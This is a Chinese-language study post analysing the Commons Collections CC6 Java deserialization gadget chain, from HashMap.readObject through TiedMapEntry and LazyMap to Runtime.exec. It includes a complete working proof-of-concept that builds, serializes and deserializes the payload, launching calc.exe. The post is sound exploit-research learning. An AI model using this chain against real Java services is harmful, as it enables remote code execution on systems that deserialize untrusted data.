天天看點

[Java反序列化]Javacc鍊6分析

文章目錄

  • ​​寫在前面​​
  • ​​Gadgets​​
  • ​​JavaCC鍊6分析​​
  • ​​利用鍊​​
  • ​​參考文章​​

寫在前面

感覺看完了cc鍊1以後cc鍊6就突然變得很簡單了(來自P神的簡化鍊,這裡我修改了一丢丢),那麼就開始學習了

Gadgets

/*
 Gadget chain:
 java.io.ObjectInputStream.readObject()
  java.util.HashMap.readObject()
    java.util.HashMap.hash()
 
      org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 
        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
   org.apache.commons.collections.map.LazyMap.get()
 
          org.apache.commons.collections.functors.ChainedTransformer.transform()
 
            org.apache.commons.collections.functors.InvokerTransformer.transform()
              java.lang.reflect.Method.invoke()
                java.lang.Runtime.exec()
*/      

JavaCC鍊6分析

首先前置還是LazyMap的那一部分,将transformers傳入ChainedTransformer就實作了參數的傳遞(ChainedTransformer是實作了Transformer接⼝的⼀個類,它的作⽤是前⼀個回調傳回的結果,作為後⼀個回調的參數傳⼊

),之後用LazyMap的decorate包裝,在觸發lazymap的get方法後執行整個“回調”過程

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class,
                Object[].class}, new Object[]{null, new
                Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class
            },
                new String[]{"calc.exe"}),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);      

之後這裡利用的是​

​TiedMapEntry​

​​,用來觸發LazyMap的get方法

我們來看,在​​

​TiedMapEntry​

public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }      

這裡調用了​

​getValue​

​函數

public Object getValue() {
        return this.map.get(this.key);
    }      

是以我們控制這個​

​this.map​

​​為​

​LazyMap​

​​即可,接下來就是尋找一個能夠觸發​

​TiedMapEntry​

​​的​

​hashcode​

​​方法的點,學了P神的鍊子,P神用的是​

​HashMap​

​​的​

​readObject​

​方法,但是發現P神一個地方似乎寫多了就是,我這裡親測删除後通過檔案讀寫也是沒問題的,不清楚,希望師父們給我說說

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);      
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }      

能看到最下面調用了​

​putVal(hash(key), key, value, false, false);​

​​,跟進這個​

​hash​

​方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }      

是以我們将LazyMap傳入對象

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");      

還有要注意的一點就是

outerMap.remove("keykey");      

因為在前面調用

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");      

發現這裡​

​HashMap​

​​的​

​put​

​方法也調用了

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }      

導緻​

​LazyMap​

​這個利⽤鍊在這⾥被調⽤了⼀遍

[Java反序列化]Javacc鍊6分析

進而使這個​

​super.map.put(key, value);​

​被調用

[Java反序列化]Javacc鍊6分析

利用鍊

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class,
                Object[].class}, new Object[]{null, new
                Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class
            },
                new String[]{"calc.exe"}),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");
        FileOutputStream fileInputStream = new FileOutputStream(new File("./1.txt"));
        ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
        oos.writeObject(expMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new
            FileInputStream(new File("./1.txt")));
        Object o = (Object) ois.readObject();